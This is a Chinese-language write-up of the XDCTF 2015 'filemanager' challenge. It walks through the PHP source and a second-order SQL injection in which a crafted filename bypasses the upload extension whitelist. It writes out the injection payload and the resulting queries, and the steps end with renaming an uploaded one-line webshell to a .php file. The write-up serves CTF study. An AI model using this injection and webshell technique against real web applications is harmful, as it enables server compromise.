[XDCTF 2015]filemanager

[XDCTF 2015]filemanager

/www.tar.gz​拿到源码

我直接在github上看了https://github.com/CTFTraining/xdctf_2015_filemanager

common.inc.php将传入的所有参数使用addslashes转义函数

image-20240702114905-6lke3gz

然后分析upload.php

使用basename​函数确保文件名中没有目录路径,防止路径遍历攻击。

使用了pathinfo函数,生成包含四部分的数组储存在$path_parts

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>

image-20240702115648-g6pi0sg

array("gif", "jpg", "png", "zip", "txt")

使用了白名单,导致无法上传恶意文件

数据库查询之前也用了addslashes转义函数,但是只转义了pathinfo里的filename部分

接着分析rename.php

image-20240702121824-83eh7ma

这里将第一次查询的filename再次传进数据库造成二次注入,我们可以将extension置空

我们把sql语句都拿出来分析

upload:

"insert into file(filename, view, extension) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')"

转义了{$path_parts['filename']

rename:

$result = $db->query("select * from file where filename='{$req['oldname']}'");

"update filesetfilename='{$req['newname']}', oldname='{$result['filename']}' where fid={$result['fid']}");

无转义

我们上传文件的文件名为,extension='',filename=1.jpg.jpg

image-20240702181754-ayfq44x

可以看到重复赋值也是可以的

image-20240702182250-r394xxn

可以看到更新的数据是第二次的值,第二次的值把第一次的值重置了

upload.php我们传入名为`,`extension`='',`filename`=1.jpg.jpg`的文件名
insert into `file` ( `filename`, `view`, `extension`) values( '\',`extension`=\'\',`filename`=1.jpg', 0, 'jpg')
#至此我们传入了一个名为  ',`extension`='',`filename`=1.jpg.jpg的文件,后缀名为jpg

rename.php我们传入oldname=`,`extension`='',`filename`=1.jpg`&newname=1.jpg
$result = select * from `file` where `filename`='',`extension`='',`filename`=1.jpg.jpg'

update `file` set `filename`='1.jpg', `oldname`='',`extension`='',`filename`=1.jpg' where `fid`={$result['fid']}"
这时我们数据库里的一行数据就是`filename`=1.jpg', `oldname`='',`extension`='',而上传的文件更名为了1.jpg.jpg
此时我们再次上传1.jpg,数据库中检索的是`filename`=1.jpg', `oldname`='',`extension`='',这条数据,我们此时就成功把文件的后缀去掉了
此时可以给文件任意改名而不会添加后缀了


具体操作:

image-20240702133138-2h15v0l

rename

image-20240702133500-4nhuyxn

sql语句变为"update filesetfilename='1.jpg', oldname='',extension='',filename=1.jpg' where fid={$result['fid']}");

此时就有个1.jpg.jpg​的文件,而数据库里有行filename=1.jpg, extension=''​的数据

上传一个木马文件1.jpg

image-20240702133902-s481ie1

该名为1.php

image-20240702133928-8utf9gd

然后连接一句话木马

image-20240702155315-ql1ac7p

posted @ 2024-07-02 18:52  m1xian  阅读(71)  评论(0)    收藏  举报